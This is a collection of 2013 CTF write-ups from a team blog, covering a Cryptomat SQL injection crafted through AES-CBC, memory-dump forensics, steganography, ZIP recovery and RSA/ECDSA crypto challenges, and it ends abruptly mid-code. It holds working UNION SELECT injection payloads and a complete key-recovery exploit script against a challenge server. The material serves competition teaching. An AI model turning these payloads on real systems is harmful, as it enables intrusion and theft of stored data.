teams (still 45 minutes of CTF left, so this might be inaccurate), and involved both some crypto and web skills. On behalf of Dragon Sector this task was worked on and solved by valis, keidii, mak and myself (gynvael). Enjoy! The tasks description was interesting: Cryptomat is back! You know the drill. Get the key from Dog. http://128.238.66.225 Indeed there was a Cryptomatv1 a year ago, but being familiar with it is not required to solve this task. When entering the page you are greeted by the following message: You are not using a secure browser! (Compatible browsers expose the string SECURE in the useragent). Adding SECURE to your User Agent does the trick, and you get to see a web site for exchanging encrypted messages (see the screenshots below). In short, you can create encrypted messages and send them (e.g. to yourself), as well as search through them and download them in the encrypted form (you cannot decrypt them via www though). Let's try searching. How about we search for... query "xxx" with key "xxx" (kudos keidii for trying this out)? Ups! Looks like a MySQL error. Analyzing it you can imagine the query it's probably something like this: SELECT * FROM ??? WHERE ??? LIKE "encrypted(query,key)" ORDER BY id ASC LIMIT ?, 10 This means we have to create such a query, that when encrypted with the given key, is a valid SQL injection payload. Since, as the intro page tells us, this is AES 128-bit in CBC mode, in order to generate such a string we need to start by determining the used IV (initialization vector). It's important to note here, that in AES 128-bit CBC mode the IV is just a 128-bit string which, when encrypting, is xorred with the first 128-bit block of the plaintext, before that is encrypted (this is to prevent two messages with identical first blocks from looking the same when encrypted). Of course, when decrypting this is done in the opposite direction - first the block is decrypted, and then again is xorred with the IV. So, to determine the IV we just need to: 1. Encrypt a plaintext (e.g. "AAAAAAAAAAAAAAAA") with a key (e.g. "AAAAAAAAAAAAAAAA") via the web interface. 2. Download the encrypted message. 3. Decrypt the message using the known key and a zero IV (i.e. "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"). 4. And XOR the first block with the plaintext. What you get is the IV they use. Encrypting the given plaintext with the given key via WWW gives the following (base64-encoded) encrypted message: kdy0oag+ynCMLgeiZN0nog== Now we can use the following PHP script to get the IV: <?php$cipher = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'','cbc','');

$encrypted_msg = "kdy0oag+ynCMLgeiZN0nog==";$plaintext = "AAAAAAAAAAAAAAAA";
$key = "AAAAAAAAAAAAAAAA";$iv= "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";

mcrypt_generic_init($cipher,$key, $iv);$decrypted = mdecrypt_generic($cipher, base64_decode($encrypted_msg));
mcrypt_generic_deinit($cipher);$rec_iv = $decrypted ^$plaintext;

echo($rec_iv); The output: 8k2F2QS480W998Nm So now we have the IV! Having the IV allows us to create a string, which, after encryption with the given key and IV will result in an SQLI payload. Please note that to generate such a string you just have to start with decrypting (sic!) the payload with the key and IV, since basically encrypt(key, iv, decrypt(key, iv, payload)) == payload. This can be done with the following piece of PHP code: <?php$cipher = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'','cbc','');
$iv = "8k2F2QS480W998Nm";$key = "xxx";

$exp = "\" or 1=1 or \"\"=\""; # Padding.$l = 16 - (strlen($exp) % 16);$exp .= str_repeat(" ", $l); mcrypt_generic_init($cipher, $key,$iv);
$decrypted = mdecrypt_generic($cipher,$exp); mcrypt_generic_deinit($cipher);

print "http://128.238.66.225/search.php?key=xxx&query=" . urlencode($decrypted) . "\n"; And the output: http://128.238.66.225/search.php?key=xxx&query=%ED%EF%AC%92%F6%E5a6%F1%BAM%17%D6%94SeU%8D%EEH%F5%40%01%DD%E3%BF%F9%05%0D%92%11B Entering the link shows that the SQLI payload indeed gets executed: And here we have the aforementioned Dog! Now we just need to get the messages from him, and in order to do that we have to go through the standard way of fetching table names, column names, and their content from the INFORMATION_SCHEMA and the respective tables themselves. Here's a couple of payloads we've used to achieve that: $exp = "\" and 1=0 union select 1,2,3,4,5,TABLE_NAME,7,8 as id from INFORMATION_SCHEMA.TABLES where table_schema='cryptomat2' and \"x\"!=\""; $exp = "\" and 1=0 union select 1,2,3,4,5,COLUMN_NAME,7,8 as id from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='message' and \"x\"!=\"";$exp = "\" and 1=0 union select from_user_id,from_user_id,from_user_id,from_user_id,from_user_id,title,from_user_id,id from message where \"x\"!=\""; $exp = "\" and 1=0 union select from_user_id,from_user_id,from_user_id,from_user_id,from_user_id,hex(key),from_user_id,id from message where \"x\"!=\""; Here are the dumps from the database: From Title DL kasa information_schema kasa cryptomat2 kasa test From Title DL kasa message kasa user From Title DL kasa id kasa to_user_id kasa from_user_id kasa deleted kasa open kasa title kasa key kasa text From Title DL Dog Hey there! Dog I HAVE THE KEY Dog HERE IT IS Cat what? Cat Coolbeans kasa asdf kasa ASDF kasa a kasa a kasa fat From Title DL Dog E9F872B26C45C9996D00B435EB591D59 Dog F7524082F4E9115E7B8CBDC603873A63 Dog C14D827264B3A21442FB3AE0E6358ADAE0240DA0250455E8F1E39E487392CF8E Cat 28C34EAD73ECBF1F03A299A35400E745 Cat F41B9656DF722545F75101B48C5DECDA From Title DL Dog AB6C6EEC74AA55A53F682696559653F9F09F66D694BE4C7C0FE6D497226C0722 Dog CB87E3FDB9976BD132BFA764603A7F8930CEBBF440C9869120BE46E4B9AE01DA Dog 52F2605545A3CB2096BEFDDA90D2EF185377B5805D8A41FD9742B7A68EED0236 Cat D10992FE8494F89F962F328B88AF427F4C9B5C0F19642880C3C0CF75651AEFBD Cat A4FA063850899121803B568CD5D63EF160ECAF3782D79D44877208E108B11C59 So we have got both the encrypted messages, and the keys (which were stored on the server after all!). Here's a PHP script to decrypt them (they are hex encoded): function dec($what, $key) { global$iv;
global $cipher; mcrypt_generic_init($cipher, hex2bin($key),$iv);
$decrypted = mdecrypt_generic($cipher, hex2bin($what)); mcrypt_generic_deinit($cipher);

echo $decrypted; echo "\n"; } dec("E9F872B26C45C9996D00B435EB591D59", "AB6C6EEC74AA55A53F682696559653F9F09F66D694BE4C7C0FE6D497226C0722"); dec("F7524082F4E9115E7B8CBDC603873A63", "CB87E3FDB9976BD132BFA764603A7F8930CEBBF440C9869120BE46E4B9AE01DA"); dec("C14D827264B3A21442FB3AE0E6358ADAE0240DA0250455E8F1E39E487392CF8E", "52F2605545A3CB2096BEFDDA90D2EF185377B5805D8A41FD9742B7A68EED0236"); dec("28C34EAD73ECBF1F03A299A35400E745", "D10992FE8494F89F962F328B88AF427F4C9B5C0F19642880C3C0CF75651AEFBD"); dec("F41B9656DF722545F75101B48C5DECDA", "A4FA063850899121803B568CD5D63EF160ECAF3782D79D44877208E108B11C59"); And the output: Dog: GUESS WHAT? Dog: !!!!!!!!!!! Dog: KEY{HURR_HURR_CRYPTOC_IZ_FUN} Cat: you smell Cat: lol And that's about it. Pretty cool task :) ## Wednesday, September 11, 2013 ### ASIS CTF Finals 2013 - Inaccessible (forensics 312) A guest write-up by keidii - one of our guest players, who bravely fought with Dragon Sector against the ASIS CTF 2013 challenges! Download: ASIS CTF Finals 2013 "Inaccessible" (PDF) Inaccessible was a two-phase stegano/forensics challenge, where you started with a set of 100 GIF files. See the write-up for more details. Trivia: Something one team discovered - it seems that one of the photos promoting the CTF contained a visible name of the file and directory of an early version of this task. ## Monday, September 2, 2013 ### ASIS CTF Finals 2013 - memdump Since I never had a chance to work with volatility and Linux dumps, I've decided to take a crack at this challenge. We were given a memory dump. Looking at strings we could tell it's from a VirtualBox image running Ubuntu with a 3.5.0-23-generic kernel. strings /tmp/mem.dump | grep BOOT_ BOOT_IMAGE=/vmlinuz-3.5.0-23-generic  Since the profile available on volatilty site is for older kernel we had to make our own (the steps are described here). After that it's time to play ;] First: bash_history it's quite long but this looks important: $ ./vol.py  -f /tmp/mem.dump --profile=LinuxUbuntu12_10-3_5_0-23x64 linux_bash -H 0x6ee4c0
Volatile Systems Volatility Framework 2.3_beta
....
967 bash                 2013-08-26 11:27:53 UTC+0000   uname -a
967 bash                 2013-08-26 11:27:53 UTC+0000   wget 172.16.133.149:8090/asis-ctf -O /tmp/
967 bash                 2013-08-26 11:27:53 UTC+0000   wget 172.16.133.149:8090/asis-ctf
967 bash                 2013-08-26 11:27:53 UTC+0000   ls
967 bash                 2013-08-26 11:27:53 UTC+0000   du -h asis-ctf
967 bash                 2013-08-26 11:27:53 UTC+0000   chmod +x asis-ctf
967 bash                 2013-08-26 11:27:53 UTC+0000   ./asis-ctf
967 bash                 2013-08-26 11:27:53 UTC+0000   sudo poweroff
967 bash                 2013-08-26 11:27:54 UTC+0000   ls
967 bash                 2013-08-26 11:30:37 UTC+0000   ./asis-ctf
967 bash                 2013-08-26 12:00:04 UTC+0000   sudo apt-get install lynx
967 bash                 2013-08-26 12:00:27 UTC+0000   lynx
967 bash                 2013-08-26 12:10:44 UTC+0000   sudo apt-get install elinks
967 bash                 2013-08-26 12:10:57 UTC+0000   elinks
967 bash                 2013-08-26 12:14:58 UTC+0000   clear
967 bash                 2013-08-26 12:15:00 UTC+0000   ls
967 bash                 2013-08-26 12:15:28 UTC+0000   cp asis-ctf flag1
...


So lets take a look at procesess:

vol.py  -f /tmp/mem.dump --profile=LinuxUbuntu12_10-3_5_0-23x64 linux_pstree
Volatile Systems Volatility Framework 2.3_beta
Name                 Pid             Uid
...
..bash               967             1000
...asis-ctf          9425            1000
...nano              15584           1000
.apache2             16346           0
...


And lets dump the asis-ctf process memory and analyze it:

$vol.py -f /tmp/mem.dump --profile=LinuxUbuntu12_10-3_5_0-23x64 linux_dump_map -p 9425 -D foo/ Volatile Systems Volatility Framework 2.3_beta Task VM Start VM End Length Path ---------- ------------------ ------------------ ------------------ ---- 9425 0x0000000000400000 0x0000000000401000 0x1000 foo/task.9425.0x400000.vma 9425 0x0000000000600000 0x0000000000601000 0x1000 foo/task.9425.0x600000.vma 9425 0x0000000000601000 0x0000000000602000 0x1000 foo/task.9425.0x601000.vma 9425 0x00007fd496e34000 0x00007fd496fe9000 0x1b5000 foo/task.9425.0x7fd496e34000.vma 9425 0x00007fd496fe9000 0x00007fd4971e8000 0x1ff000 foo/task.9425.0x7fd496fe9000.vma 9425 0x00007fd4971e8000 0x00007fd4971ec000 0x4000 foo/task.9425.0x7fd4971e8000.vma 9425 0x00007fd4971ec000 0x00007fd4971ee000 0x2000 foo/task.9425.0x7fd4971ec000.vma 9425 0x00007fd4971ee000 0x00007fd4971f3000 0x5000 foo/task.9425.0x7fd4971ee000.vma 9425 0x00007fd4971f3000 0x00007fd497215000 0x22000 foo/task.9425.0x7fd4971f3000.vma 9425 0x00007fd497408000 0x00007fd49740b000 0x3000 foo/task.9425.0x7fd497408000.vma 9425 0x00007fd497411000 0x00007fd497415000 0x4000 foo/task.9425.0x7fd497411000.vma 9425 0x00007fd497415000 0x00007fd497416000 0x1000 foo/task.9425.0x7fd497415000.vma 9425 0x00007fd497416000 0x00007fd497418000 0x2000 foo/task.9425.0x7fd497416000.vma 9425 0x00007fff62ff0000 0x00007fff63012000 0x22000 foo/task.9425.0x7fff62ff0000.vma 9425 0x00007fff63048000 0x00007fff63049000 0x1000 foo/task.9425.0x7fff63048000.vma,/  To do real RE we should reconstruct the binary, but I didn't bother assuming it's a really simple app, and IDA can follow programs headers, excluding sections which are not present dumped image. The binary was indeed simple, it waits for input, if input was 'flag' it prints the flag. The flag was put on the stack byte-by-byte: LOAD:0000000000400683 mov byte ptr [rbp+var_A0], 66 LOAD:000000000040068A mov byte ptr [rbp+var_A0+1], 73 LOAD:0000000000400691 mov byte ptr [rbp+var_A0+2], 85 LOAD:0000000000400698 mov byte ptr [rbp+var_A0+3], 82 LOAD:000000000040069F mov byte ptr [rbp+var_A0+4], 76 LOAD:00000000004006A6 mov byte ptr [rbp+var_A0+5], 65 LOAD:00000000004006AD mov byte ptr [rbp+var_A0+6], 87 LOAD:00000000004006B4 mov byte ptr [rbp+var_A0+7], 78 LOAD:00000000004006BB mov [rbp+var_98], 100 LOAD:00000000004006C2 mov [rbp+var_97], 95 LOAD:00000000004006C9 mov [rbp+var_96], 105 LOAD:00000000004006D0 mov [rbp+var_95], 55 LOAD:00000000004006D7 mov [rbp+var_94], 105 LOAD:00000000004006DE mov [rbp+var_93] ...  and printed: 400867 LOAD:0000000000400867 loc_400867: LOAD:0000000000400867 mov eax, [rbp+idx] LOAD:000000000040086D add eax, eax LOAD:000000000040086F cdqe LOAD:0000000000400871 movzx eax, byte ptr [rbp+rax+var_A0] LOAD:0000000000400879 movsx eax, al LOAD:000000000040087C sub eax, [rbp+idx] LOAD:0000000000400882 sub eax, 1 LOAD:0000000000400885 mov edi, eax LOAD:0000000000400887 call sub_400500 LOAD:000000000040088C add [rbp+idx], 1  Since we don't have a runnable binary, we have to do it manually - easiest method, use idapython: Python> add = 0x400683 for i in range(0,38): OpDecimal(add,1) sys.stdout.write(chr(int(GetOpnd(add,1)) - i -1)) add = Rfirst(Rfirst(add)) print "" ASIS_cb6bb012a8ea07a426254293de2bc0ef Python>  Done. ## Sunday, September 1, 2013 ### ASIS CTF Finals 2013 - ~Windows (stegano 106) This is a task from the ASIS CTF Finals 2013, "Stego" (steganography) category, and it was solved by quite a lot of teams. It was another of my favorite tasks in this CTF - it was quite easy, but required a couple of interesting steps to get to the end. This task was solved collaboratively by Gynvael Coldwind and Samlis Coldwind. We were given an audio/video file called windows.mp4 (mirror), which looked more or less like this (the windows faded in and faded out at different positions): In addition to the fading in/out there was an audio track with something that sounded like speech but wasn't quite understandable, and quite a lot of metadata. Some of the metadata contained interesting information, e.g.: • Ingredients File Path: Frames 2.mp4, reversed.mp3 • Pantry Artist: SpokenText.net - Your free online text to audio converter • Pantry Title: spokentext_e8b691fef65cc404b854b7cb14afce6f62632285 So basically the metadata revealed the mystery of the audio track - reversed spoken text. And by the way, the Pantry Title metadata gives you the exact ID of the SpokenText.net generated audio file, which you could retrieve from SpokenText.net (click - though the link probably doesn't work anymore). After either reversing the audio track, or downloading the original file, you would hear the synthesised voice saying a long number: 51324984652187698521487459648201. One thing I didn't mention before was the task description which went like this: Append what you find to "ASIS_" and send that as flag. However, sending in ASIS_51324984652187698521487459648201 didn't work, which means that the video track was also important. The fading in and out windows didn't reveal anything while taking the frames individually, so we decided to change the black background to transparent on each frame, and merge them all together. This resulted in the following image: Yes, it's a QR code. Adding a white background and playing with the contrast / brightness made it readable for my QR reader in my cell phone, and resulted in the following string: xorwith313. XORing the 51324984652187698521487459648201 value with 313 (both treated as bignums) gives 51324984652187698521487459648496, and appending ASIS_ at the beginning gives you the flag: ASIS_51324984652187698521487459648496. ### ASIS CTF Finals 2013 - Chessboard (stegano 175) This is a task from the ASIS CTF Finals 2013, "Stego" (steganography) category, and it was solved by 2 teams including ours. This was one of my favorite tasks on this CTF, since it was unconventional, interesting and didn't involve too much guessing. We were given the following description: Find the flag. Flag is in the form of ASIS_X which X is not a MD5 hash. And the following PNG image: The PNG file itself (as in: the PNG format) was clean - it did not contain any hidden data and there was no LSB-stegano - basically what you see is what you get, and what you get it an 8x8 matrix. The bitmap had total of 37-color squares: black plus 36 shades of grey, starting from RGB(5,5,5), up to RGB(180,180,180). The important part here is that the RGBs of the shades of grey were always divisible by 5; so the darkest was RGB(5,5,5), then RGB(10,10,10), then RGB(15,15,15), ... - you get the picture. Dividing the RGB (or actually the average luminosity) by 5 you would get this: .. 28 .. .. .. 7 .. .. .. 16 .. .. 22 6 14 30 .. 19 .. .. .. .. .. .. .. 31 20 34 26 .. .. .. 27 35 17 29 .. 15 33 .. 1 23 21 9 5 2 25 18 36 4 .. 32 13 3 .. 24 .. .. .. .. 10 11 8 12 We can transcribe to coordinates of each square, counting from top-left, in the order pointed to by the above chart (by luminosity):  1: 0,5 2: 5,5 3: 5,6 4: 1,6 5: 4,5 [...] There are a couple of things that can be deduced here: 1. There are 64 fields total, so this is probably some 64- or lower based encoding. 2. If this is a 64-based encoding (like base64), then the password will have to have unique base64 characters, since it's not possible to place more than one square on a given coordinate (and no shade was missing). 3. Taking the coordinates and doing a standard idx = x + y * 8 doesn't give you anything meaningful (i.e. converting what you get to base64 alphabet and decoding it doesn't give you anything meaningful). 4. Taking the reversed coordinates (bottom-right instead of top-left) doesn't give you anything meaningful either. At this point I've changed my approach. In the task description we were given the information that the flag begins with ASIS_ (same as the flags in most of the tasks), so we did have a part of the plaintext. Encoding the ASIS_ string to base64 we get QVNJU18=, so we are sure that the first few chars will be Q, V, N, J, U and 1 (I'm not taking the last char ("8") into account, since it contains two bits of the next character 8-bit character, which in this case are of course zeroes, but could be anything in the full flag). Translating the given base64 characters into indexes in the base64 alphabet gives you: 16, 21, 13, 9, 20, 53. And now the big question - how to get the value of e.g. 16 using the coordinates of the first square (0,5)? Well, you can't do that using the top-left coordinates - if you would want to get 16 from the standard formula mentioned above you would have to have coordinates 0,2. But isn't 0,2 the coordinates of the first square in bottom-left coordinates which we haven't yet tried? Well, yes, it is. Let's test this idea for the second square: bottom-left coordinates are 5,2, which means that the idx is 5 + 2 * 8, so 21, which is exactly the second element in the above number list! So to get the flag you need to, going from the darkest to the brightest square: 1. Get it's bottom-left coordinate. 2. Calculate the idx using the idx = x + y * 8 formula. 3. Take the idx-th character in the base64 alphabet and append it to the result string. After that you will get the string QVNJU19GTEFHM2dxaXpiS0RPWkY5b3hLejZI, which, after decoding, will result in the flag: ASIS_FLAG3gqizbKDOZF9oxKz6H. From what I've read on IRC most of the teams were really really close with this task, but didn't end up testing the bottom-left coordinates. Funnily I did test this coordinate system, but due to a bug in my code I didn't get the code until did the plaintext attack - lucky me ;) ## Sunday, August 18, 2013 ### UFO CTF 2013 - Broken brokoli (forensics 100) This is a task from UFO CTF 2013, which was a sweet mixture of file format stegano, forensics and decoding weird alphabets (though that's probably not a legitimate CTF category). You were given a single ZIP file (7117 bytes), which contained a single file called flag.rar (3402 bytes). The RAR file on the other hand contained a flag.bmp (180KB), but it was password protected (encrypted) so you couldn't extract it at this point. Before I go any further, this is a good place to advertise the APPNOTE.TXT - .ZIP File Format Specification. There are a couple of options where the password could be hidden in a ZIP archive - an extra field, a comment field, space between archived file and the ZIP headers, etc - and in the end it turned out that there is one more ZIP local file header (PK\3\4) in the ZIP archive, meaning that there is another archived file, which is not listed in the central directory. The local file header of this hidden file begins at offset D75h. Parts of the header were wiped (zeroed), but still some information could be recovered: 50 4B 03 04 14 00 00 00 08 00 B8 63 D4 42 41 B2 68 F4 7F 0D 00 00 86 34 03 00 07 00 00 00 00 00 00 00 00 00 00 ED DD 3B The green part is, of course, the magic of the local file header. The yellow if the compression method - 8 means DEFLATE. Furthermore both the compressed size (pink) and the uncompressed size (cyan) were available: D7Fh bytes compressed would get decompressed into 33486h (210054 dec) bytes. Unfortunately the file name has been removed, but it wasn't really needed for anything. There are several ways to extract this file. One is to add a zlib header in front of the DEFLATE data and just extract it using e.g. Python's zlib. Another would be fixing the local file header and placing it, and the data, in an external file, and then using Java stream ZIP decompression (which totally ignores the central directory and just looks for consequent local file headers from the beginning of the stream). Yet another would be to add a central directory record to describe this file and, again, fix the local file header. For an unknown reason I went for the first solution. The question of "what exact values to choose for zlib header" can be answered by trying every possible zlib header - it turns out there aren't that many posibilities. The following Python code successfully extracted the hidden file: import zlib OFFSET = 0xd9a SIZE = 0xd7f DSIZE = 0x33486 d = open("brokenarchive.zip", "rb").read()[OFFSET:OFFSET+SIZE] for m in [ "\x78\x01", "\x78\x9C", "\x78\xDA" ]: try: o = zlib.decompressobj().decompress(m + d, DSIZE) open("out.%.2x%.2x" % (ord(m[0]), ord(m[1])), "wb").write(o) except: pass  The output file turned out to be a BMP image: The font is of course Wingdings, and after decoding you would get: #Ed&3m@cd0c! - the password to the flag.rar file extracted at the beginning. As one could predict, the RAR file contained yet another BMP image with more Wingdings: After decoding you would get flag is helloearthlings!!!!!!!!!, and a 100 points for your team :) To sum up, a quick fun task if you know the ZIP format... and fluently read/write Wingdings ;> ## Thursday, August 15, 2013 ### ebCTF 2013: crypto400 In this challenge we have an RSA signing service: input: public_key (e,n) , data It calculates the fingerprint of the provided public key sha1(public_key) And then searches in ( fingerprint, d ) pair database for it. Then it calculates $$m = sha1(current\_timestamp,data)$$ and $$signature = m^d (mod\ n)$$ output: current_timestamp, signature Our task is to sign data with timestamp from 21.10.2005. Signing service has a bug in searching procedure: only two bytes of fingerprint are compared. So it was possible to create public key with chosen n and bruteforce e with the same fingerprint which is used in real public_key. After sending fake private key we are receiving: $$c=m^d mod\ n_{fake}$$ For given m,c,n when n is small we can bruteforce all x which satisfy conditions: • $$0<=x<=\varphi(n)$$ • $$m^x = c\ ( mod\ n )$$ We have also $$a^b\ mod\ n = a^{b\ mod\ \varphi(n)} mod\ n$$ $$b\ mod\ p\ =\ b\ mod\ \varphi(n)\ mod\ p\ if\ p|\varphi(n)$$ So when we choose small n and $$p|\varphi(n)$$ and we send it to the service, we will receive $$c = m^d\ mod\ n$$ where m is known. If for all x such that: • $$0<=x<=\varphi(n)$$ • $$m^x = c\ (\ mod\ n )$$ $$y = x\ mod\ p$$ is the same value then we are sure that $$y = d\ mod\ p$$ When we have a lot of pairs $$(y_i,p_i)$$ and $$p_i$$ are pairwise coprime and $$\prod_i p_i>n_{real}$$ then we can calculate d using chinese remainder theorem. In my solution I used n and p values which satisfy $$n=2*p+1$$ and n,p are primes. Then $$\varphi(n)= n-1$$and$$p |\varphi(n)$$ #!/usr/bin/env python import sys import hashlib import os import socket import time import base64 import random import datetime from crt import ChineseRemainder hostport = ('54.217.0.233', 2407) # interpret string as little-endian long integer def bin2int(s): return int(s[::-1].encode('hex'), 16) # store integer as little-endian binary string of given length def int2bin(i,n): return ("%x" % i).rjust(n*2,'0').decode('hex')[::-1] def solve_dlp(x,y,n,p): solutions = set() for i in xrange(0,n): if pow(x,i,n) == y: solutions.add(i % p) return solutions # read public key from file with open("./pubkey0") as f: n = bin2int(f.read(1024 / 8)) e = bin2int(f.read(32 / 8)) pubkeystring = int2bin(n,1024/8) + int2bin(e,32/8) fingerprint=hashlib.sha1(pubkeystring).digest() SIEVE_LEN = 1000000 sieve = [0]*SIEVE_LEN for i in xrange(2,SIEVE_LEN): if sieve[i] == 0: j=2*i while j < SIEVE_LEN: sieve[j] = 1 j+=i primes_product = 1 crt = [] last_index = 100000 while primes_product < n: while sieve[last_index] == 1 or sieve[last_index*2+1] == 1: last_index+=1 fake_n = 2*last_index+1 prime = last_index last_index+=1 print 'using primes: ',fake_n,prime fake_e = 0 while 1: fake_pubkeystring = int2bin(fake_n,1024/8) + int2bin(fake_e,32/8) fake_fingerprint=hashlib.sha1(fake_pubkeystring).digest() if fake_fingerprint[:2] == fingerprint[:2]: break fake_e += 1 s = socket.create_connection(hostport) data = str(random.randint(0,1000)) s.send(fake_pubkeystring + int2bin(len(data),32/8) + data) responsestring = '' while True: tmp = s.recv(1024) if not tmp: break responsestring += tmp ts = bin2int(responsestring[:4]) sig = bin2int(responsestring[4:]) if sig==0: continue m = bin2int(hashlib.sha1(int2bin(ts, 32/8) + data).digest() ) m %= fake_n print 'received sig: ',sig print 'm: ',m x = solve_dlp(m,sig,fake_n,prime) if len(x)==1: x=x.pop() print 'solved: ',x crt.append( (x, prime) ) primes_product *= prime d = ChineseRemainder(crt)[0] print 'private_key: ',d ts = int(( datetime.datetime(2015, 10, 21) - datetime.datetime(1970, 1, 1)).total_seconds()) m = bin2int(hashlib.sha1(int2bin(ts, 32/8) + data).digest() ) sig = pow(m,d,n) responsestring = int2bin(ts, 4) + int2bin(sig, 1024/8) print base64.b64encode(pubkeystring + responsestring + data)  ### ebCTF 2013: crypto300 In this challenge we had a service written in Python: service.py: #! /usr/bin/env python import string import random import SocketServer import threading import hashlib import ecdsa import base64 import os #our own password database access = {"f56334fbe02eaa05218c31b01a80f2f6":0, "00b37cb56bb57705348610253b1b82e4":0, "f2131629ea6c08f7f5f326d8bb6eb5fd":0, "6fa95b1427af77b3d769ae9cb853382f":0, "58cd57027cf126fcc9bd93dea9d74c1a":0, "f1cd318e412b5f7226e5f377a9544ff7":1, "98c131f9fb31f732b136f87e64ff686a":1, "6f3249aa304055d63828af3bfab778f6":2} #alphabet for passwords alphabet = string.lowercase + string.uppercase #read the curve parameters and flag from file p,b,q,_sk,flag = open("secrets").read().split(',') _p = int(p,16) _b = int(b,16) _q = int(q,16) _sk = int(_sk,16) ec = ecdsa.CurveFp( _p, _p-3, _b ) #some points that really should be on the curve we're going to use _Gx = 0x337ef2115b4595fbd60e2ffb5ee6409463609e0e5a6611b105443e02cb82edd8L _Gy = 0x1879b8d7a68a550f58166f0d6b4e86a0873d7b709e28ee318ddadd4ccf505e1aL _Qx = 0x2a40fd522f73dc9f7c40b2420e39e62c5742ff2f11805a1577ed7f60153a0be1L _Qy = 0x3085e99246006b71b4211eff47ff3efc0f93103ee7379dc3bcc6decdc46073a3L _Rx = 0xbd0a442367bdc24cb09c49404e3d307ba99122e7b78e14f0d84870d0df97aa59L _Ry = 0x22c88612db6b6af6f196cd815fc5f57fe871d3b6588b0c7a59e06cc759d736b2L #check the curve is loaded ok if not ec.contains_point(_Gx,_Gy): exit() if not ec.contains_point(_Qx,_Qy): exit() if not ec.contains_point(_Rx,_Ry): exit() g = ecdsa.Point( ec, _Gx, _Gy, _q ) seed = os.urandom(32) #construct the server key material server_public_key = ecdsa.Public_key( g, g * _sk) server_secret_key = ecdsa.Private_key(server_public_key, _sk ) #some extended interfaces to Lis's ecdsa script def sign(hashed_data, privkey): h = int(hashed_data,16) k = get_ephemeral_key() signature = privkey.sign( h, k ) return encode_signature(signature) def encode_signature(signature): rhex = "%064x" % signature.r shex = "%064x" % signature.s return base64.b64encode(rhex.decode('hex') + shex.decode('hex')) def verify(signature, hashed_input, pubkey): tmp = signature.replace("\n", "") try: tmp = base64.b64decode(tmp).encode('hex') except: return False if len(tmp) != 128: return False sig = ecdsa.Signature(int(tmp[:64],16),int(tmp[64:],16)) h = int(hashed_input,16) return pubkey.verifies(h, sig) def get_ephemeral_key(): k = "" while len(k) < 32: k += hashlib.md5(seed + str(random.randint(0,255))).digest() return int(k.encode('hex'),16) #server class threadedserver(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass class incoming(SocketServer.BaseRequestHandler): def handle(self): cur_thread = threading.current_thread() #hashcash cash = os.urandom(4).encode('hex') self.request.send("Please send a string of 64 characters, consisting of only 0-9a-f that starts with %s which md5 digest starts with 0000:\n" % cash) resp = self.request.recv(128).strip() if len(resp) != 64 or not all(c in '0123456789abcdef' for c in resp) or not resp.startswith(cash) or not hashlib.md5(resp).hexdigest().startswith('0000'): self.request.send('Sorry :(') return #request password self.request.send("Please enter your password:\n") password = self.request.recv(32) password = password.replace("\n", "") #we only understand simple passwords if not all(c in alphabet for c in password): self.request.send("Access denied\n") return token = hashlib.md5(password).digest().encode('hex') #you better be in our database if not token in access: self.request.send("Access denied\n") return #retrieve allowed access level level = access[token] if level == 2: #you really really deserve this self.request.send("There you go: " + flag) if level == 1: #you seem to belong here self.request.send("Please present your security token for today:\n" ) sec_token = self.request.recv(1024) if verify(sec_token, token, server_public_key): self.request.send("There you go: " + flag) else: self.request.send("Access denied\n") if level == 0: self.request.send("Sorry level 0 has been temporarily disabled while we investigate a potential security breach.\n") # Code disabled while we investigate the breach #self.request.send("Here is your security token for today:\n" ) #self.request.send( sign(token, server_secret_key) + "\n" ) server = threadedserver(("127.0.0.1", 3016), incoming) server.allow_reuse_address = True server.timeout = 4 server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() server_thread.join()  ecdsa.py: #! /usr/bin/env python # # credits to Lis # taken from https://bitcointalk.org/index.php?topic=23241.0 # class CurveFp( object ): def __init__( self, p, a, b ): self.__p = p self.__a = a self.__b = b def p( self ): return self.__p def a( self ): return self.__a def b( self ): return self.__b def contains_point( self, x, y ): return ( y * y - ( x * x * x + self.__a * x + self.__b ) ) % self.__p == 0 class Point( object ): def __init__( self, curve, x, y, order = None ): self.__curve = curve self.__x = x self.__y = y self.__order = order if self.__curve: assert self.__curve.contains_point( x, y ) if order: assert self * order == INFINITY def __add__( self, other ): if other == INFINITY: return self if self == INFINITY: return other assert self.__curve == other.__curve if self.__x == other.__x: if ( self.__y + other.__y ) % self.__curve.p() == 0: return INFINITY else: return self.double() p = self.__curve.p() l = ( ( other.__y - self.__y ) * \ inverse_mod( other.__x - self.__x, p ) ) % p x3 = ( l * l - self.__x - other.__x ) % p y3 = ( l * ( self.__x - x3 ) - self.__y ) % p return Point( self.__curve, x3, y3 ) def __mul__( self, other ): def leftmost_bit( x ): assert x > 0 result = 1L while result <= x: result = 2 * result return result / 2 e = other if self.__order: e = e % self.__order if e == 0: return INFINITY if self == INFINITY: return INFINITY assert e > 0 e3 = 3 * e negative_self = Point( self.__curve, self.__x, -self.__y, self.__order ) i = leftmost_bit( e3 ) / 2 result = self while i > 1: result = result.double() if ( e3 & i ) != 0 and ( e & i ) == 0: result = result + self if ( e3 & i ) == 0 and ( e & i ) != 0: result = result + negative_self i = i / 2 return result def __rmul__( self, other ): return self * other def __str__( self ): if self == INFINITY: return "infinity" return "(%d,%d)" % ( self.__x, self.__y ) def double( self ): if self == INFINITY: return INFINITY p = self.__curve.p() a = self.__curve.a() l = ( ( 3 * self.__x * self.__x + a ) * \ inverse_mod( 2 * self.__y, p ) ) % p x3 = ( l * l - 2 * self.__x ) % p y3 = ( l * ( self.__x - x3 ) - self.__y ) % p return Point( self.__curve, x3, y3 ) def x( self ): return self.__x def y( self ): return self.__y def curve( self ): return self.__curve def order( self ): return self.__order INFINITY = Point( None, None, None ) def inverse_mod( a, m ): if a < 0 or m <= a: a = a % m c, d = a, m uc, vc, ud, vd = 1, 0, 0, 1 while c != 0: q, c, d = divmod( d, c ) + ( c, ) uc, vc, ud, vd = ud - q*uc, vd - q*vc, uc, vc assert d == 1 if ud > 0: return ud else: return ud + m class Signature( object ): def __init__( self, r, s ): self.r = r self.s = s class Public_key( object ): def __init__( self, generator, point ): self.curve = generator.curve() self.generator = generator self.point = point n = generator.order() if not n: raise RuntimeError, "Generator point must have order." if not n * 